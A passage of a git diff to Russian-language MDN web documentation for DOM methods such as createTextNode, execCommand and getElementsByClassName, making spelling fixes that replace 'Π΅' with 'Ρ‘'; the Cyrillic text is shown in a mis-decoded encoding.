-<p>Для создания элСмСнтов с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p>
+<p>Для создания элСмСнтов с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΡ‘Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p>
<p>РСализация <code>createElementΒ </code>Π² Gecko Π½Π΅ соотвСтствуСт DOM спСцификации для XUL ΠΈ XHTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²: <code>localName</code> ΠΈΒ <code>namespaceURI</code> Π½Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Β <code>null</code> Π² созданном Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ {{ Bug(280692) }} для подробностСй.</p>
diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html
index a076f8316f..7007e89080 100644
--- a/files/ru/web/api/document/createtextnode/index.html
+++ b/files/ru/web/api/document/createtextnode/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Document/createTextNode
---
<div>{{APIRef("DOM")}}</div>
-<p>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ тСкстовый ΡƒΠ·Π΅Π».</p>
+<p>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ тСкстовый ΡƒΠ·Π΅Π».</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html
index 7dee15e364..0ba1862ff7 100644
--- a/files/ru/web/api/document/document/index.html
+++ b/files/ru/web/api/document/document/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/Document/Document
---
<p>{{APIRef}}{{Non-standard_header}}</p>
-<p><strong><code>Document</code></strong> конструктор создаСт Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Document")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Π²Π΅Π±-страницСй, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β Β ΠΈ слуТит Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° Π² содСрТаниС страницы.</p>
+<p><strong><code>Document</code></strong> конструктор создаёт Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Document")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Π²Π΅Π±-страницСй, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β Β ΠΈ слуТит Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° Π² содСрТаниС страницы.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html
index 9400bb025f..0c52c9a3b7 100644
--- a/files/ru/web/api/document/execcommand/index.html
+++ b/files/ru/web/api/document/execcommand/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Document/execCommand
<div>
<h2 id="Summary" name="Summary">ΠžΠ±Π·ΠΎΡ€</h2>
-<p>Когда HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ€Π΅ΠΆΠΈΠΌ рСдактирования ({{domxref("document.designMode")}}), для Π½Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступСн ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>execCommand</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ области. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ (bold, italics, ΠΈ Ρ‚. ΠΏ.), Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ элСмСнты (createLink) ΠΈΠ»ΠΈ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° всю строку (<span style="font-family: segoe ui;">indenting</span>). ΠŸΡ€ΠΈ использовании <code>contentEditable</code>, Π²Ρ‹Π·ΠΎΠ²Β <code>execCommand</code> влияСт Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт.</p>
+<p>Когда HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ€Π΅ΠΆΠΈΠΌ рСдактирования ({{domxref("document.designMode")}}), для Π½Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ доступСн ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>execCommand</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ области. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ (bold, italics, ΠΈ Ρ‚. ΠΏ.), Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ элСмСнты (createLink) ΠΈΠ»ΠΈ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° всю строку (<span style="font-family: segoe ui;">indenting</span>). ΠŸΡ€ΠΈ использовании <code>contentEditable</code>, Π²Ρ‹Π·ΠΎΠ²Β <code>execCommand</code> влияСт Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -65,7 +65,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>createLink</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ссылку ΠΈΠ· выдСлСния, Ссли Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ΅ имССтся. НСобходима ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° HREF URI Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. URI Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΒ ΠΎΠ΄ΠΈΠ½ символ, допускаСтся ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΉ. (Internet Explorer создаст ссылку ΠΈ Π±Π΅Π·Β URI.)</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ссылку ΠΈΠ· выдСлСния, Ссли Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ΅ имССтся. НСобходима ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° HREF URI Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. URI Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΒ ΠΎΠ΄ΠΈΠ½ символ, допускаСтся ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΉ. (Internet Explorer создаст ссылку ΠΈ Π±Π΅Π·Β URI.)</dd>
</dl>
<dl>
@@ -110,7 +110,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>formatBlock</dt>
- <dd>ДобавляСт Ρ‚Π΅Π³ HTML-Π±Π»ΠΎΠΊΠ° вокруг строк, содСрТащих Π² сСбС Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст, замСняя Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ элСмСнт, содСрТащий Ρ‚Π°ΠΊΠΈΠ΅ строки, Ссли ΠΎΠ½ сущСствуСт (Π²Β Firefox, BLOCKQUOTE  являСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌΒ - ΠΎΠ½ ΠΎΠ±Π΅Ρ€Π½Π΅Ρ‚ любой Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ элСмСнт). Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π² качСствС аргумСнта наимСнования ВСга. ВСорСтичСски ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ любой Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ Ρ‚Π΅Π³ (Π½Π°ΠΏΡ€.,Β "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅Π³ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² H1 - H6, ADDRESSΒ ΠΈ PRE, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² символы &lt; &gt;, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: "&lt;H1&gt;".)</dd>
+ <dd>ДобавляСт Ρ‚Π΅Π³ HTML-Π±Π»ΠΎΠΊΠ° вокруг строк, содСрТащих Π² сСбС Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст, замСняя Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ элСмСнт, содСрТащий Ρ‚Π°ΠΊΠΈΠ΅ строки, Ссли ΠΎΠ½ сущСствуСт (Π²Β Firefox, BLOCKQUOTE  являСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌΒ - ΠΎΠ½ ΠΎΠ±Π΅Ρ€Π½Ρ‘Ρ‚ любой Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ элСмСнт). Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π² качСствС аргумСнта наимСнования ВСга. ВСорСтичСски ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ любой Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ Ρ‚Π΅Π³ (Π½Π°ΠΏΡ€.,Β "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅Π³ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² H1 - H6, ADDRESSΒ ΠΈ PRE, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² символы &lt; &gt;, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: "&lt;H1&gt;".)</dd>
</dl>
<dl>
@@ -123,7 +123,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>hiliteColor</dt>
- <dd>Π˜Π·ΠΌΠ΅Π½ΡΠ΅Ρ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ тСкста Π»ΠΈΠ±ΠΎ Π² мСстС, Π³Π΄Π΅ установлСн курсор. Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Ρ†Π²Π΅Ρ‚Π° Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. UseCSS Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. (НС поддСрТиваСтся Π² Internet Explorer)</dd>
+ <dd>Π˜Π·ΠΌΠ΅Π½ΡΠ΅Ρ‚ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ тСкста Π»ΠΈΠ±ΠΎ Π² мСстС, Π³Π΄Π΅ установлСн курсор. Π’Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Ρ†Π²Π΅Ρ‚Π° Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. UseCSS Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. (НС поддСрТиваСтся Π² Internet Explorer)</dd>
</dl>
<dl>
@@ -158,19 +158,19 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>insertOrderedList</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список ΠΈΠ· Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΏΡ€ΠΎΠ½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список ΠΈΠ· Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
</dl>
<dl>
<dt>insertUnorderedList</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ список ΠΈΠ· Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ список ΠΈΠ· Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
</dl>
<dl>
<dt>insertParagraph</dt>
<dd>ВставляСт ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ Π²ΠΎΠΊΡ€ΡƒΠ³ выдСлСния ΠΈΠ»ΠΈ для Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки.Β (Internet Explorer вставляСт ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ Π² мСстС курсора ΠΈ удаляСт Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст)</dd>
<dt>insertText</dt>
- <dd>ВставляСт простой тСкст Π² мСстС курсора ΠΈΠ»ΠΈ выдСлСния (Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½).</dd>
+ <dd>ВставляСт простой тСкст Π² мСстС курсора ΠΈΠ»ΠΈ выдСлСния (Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Ρ‘Π½).</dd>
</dl>
<dl>
@@ -205,7 +205,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>paste</dt>
- <dd>ВставляСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±ΡƒΡ„Π΅Ρ€Π° ΠΎΠ±ΠΌΠ΅Π½Π° Π² мСсто курсора ΠΈΠ»ΠΈ выдСлСния (послСднСС замСняСтся). Доступ ΠΊ Π±ΡƒΡ„Π΅Ρ€Ρƒ ΠΎΠ±ΠΌΠ΅Π½Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ„Π°ΠΉΠ»Π΅ user.js</dd>
+ <dd>ВставляСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±ΡƒΡ„Π΅Ρ€Π° ΠΎΠ±ΠΌΠ΅Π½Π° Π² мСсто курсора ΠΈΠ»ΠΈ выдСлСния (послСднСС замСняСтся). Доступ ΠΊ Π±ΡƒΡ„Π΅Ρ€Ρƒ ΠΎΠ±ΠΌΠ΅Π½Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ„Π°ΠΉΠ»Π΅ user.js</dd>
</dl>
<dl>
@@ -225,7 +225,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>strikeThrough</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π·Π°Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ тСкста для выдСлСния ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ тСкста для выдСлСния ΠΈΠ»ΠΈ Π½Π° мСстС курсора.</dd>
</dl>
<dl>
@@ -255,7 +255,7 @@ translation_of: Web/API/Document/execCommand
<dl>
<dt>useCSS {{ Deprecated_inline() }}</dt>
- <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ стилизации HTML ΠΈ CSS для Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ. ΠœΠΎΠΆΠ΅Ρ‚Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±ΡƒΠ»Π΅Π²Ρ‹ значСния true/false. ΠŸΠ Π˜ΠœΠ•Π§ΠΠΠ˜Π•: этот Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ с ΠΏΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠΉ Π»ΠΎΠ³ΠΈΠΊΠΎΠΉ (Ρ‚.Π΅. false = CSS / true = HTML).Β (НС поддСрТиваСтся Π² Internet Explorer.)Β <strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅! Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <em>styleWithCSS.</em></strong></dd>
+ <dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ стилизации HTML ΠΈ CSS для Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ. ΠœΠΎΠΆΠ΅Ρ‚Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±ΡƒΠ»Π΅Π²Ρ‹ значСния true/false. ΠŸΠ Π˜ΠœΠ•Π§ΠΠΠ˜Π•: этот Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ с ΠΏΠ΅Ρ€Π΅Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Π»ΠΎΠ³ΠΈΠΊΠΎΠΉ (Ρ‚.Π΅. false = CSS / true = HTML).Β (НС поддСрТиваСтся Π² Internet Explorer.)Β <strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅! Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <em>styleWithCSS.</em></strong></dd>
</dl>
<dl>
diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html
index d44e341517..4adfa6b971 100644
--- a/files/ru/web/api/document/getelementsbyclassname/index.html
+++ b/files/ru/web/api/document/getelementsbyclassname/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Document/getElementsByClassName
---
<p id="Summary">{{APIRef("DOM")}}</p>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массивоподобный (ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ всСх Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… всСм ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½ классов. Π’ случаС Π²Ρ‹Π·ΠΎΠ²Π° ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ 'document', поиск происходит ΠΏΠΎ всСму Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт. Π’Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ элСмСнту: Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ лишь Ρ‚Π΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΈ этом ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ классы.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массивоподобный (ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ всСх Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… всСм ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½ классов. Π’ случаС Π²Ρ‹Π·ΠΎΠ²Π° ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ 'document', поиск происходит ΠΏΠΎ всСму Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт. Π’Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ элСмСнту: Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ лишь Ρ‚Π΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΈ этом ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ классы.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -14,7 +14,7 @@ translation_of: Web/API/Document/getElementsByClassName
<ul>
<li><var>Π’ "elements"</var> Π±ΡƒΠ΄Π΅Ρ‚ тСкущая  {{ domxref("HTMLCollection") }} Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… элСмСнтов.</li>
- <li><var>"names"</var> - строка, состоящая ΠΈΠ· списка ΠΈΠΌΠ΅Π½ искомых классов; ΠΈΠΌΠ΅Π½Π° классов Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</li>
+ <li><var>"names"</var> - строка, состоящая ΠΈΠ· списка ΠΈΠΌΡ‘Π½ искомых классов; ΠΈΠΌΠ΅Π½Π° классов Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</li>
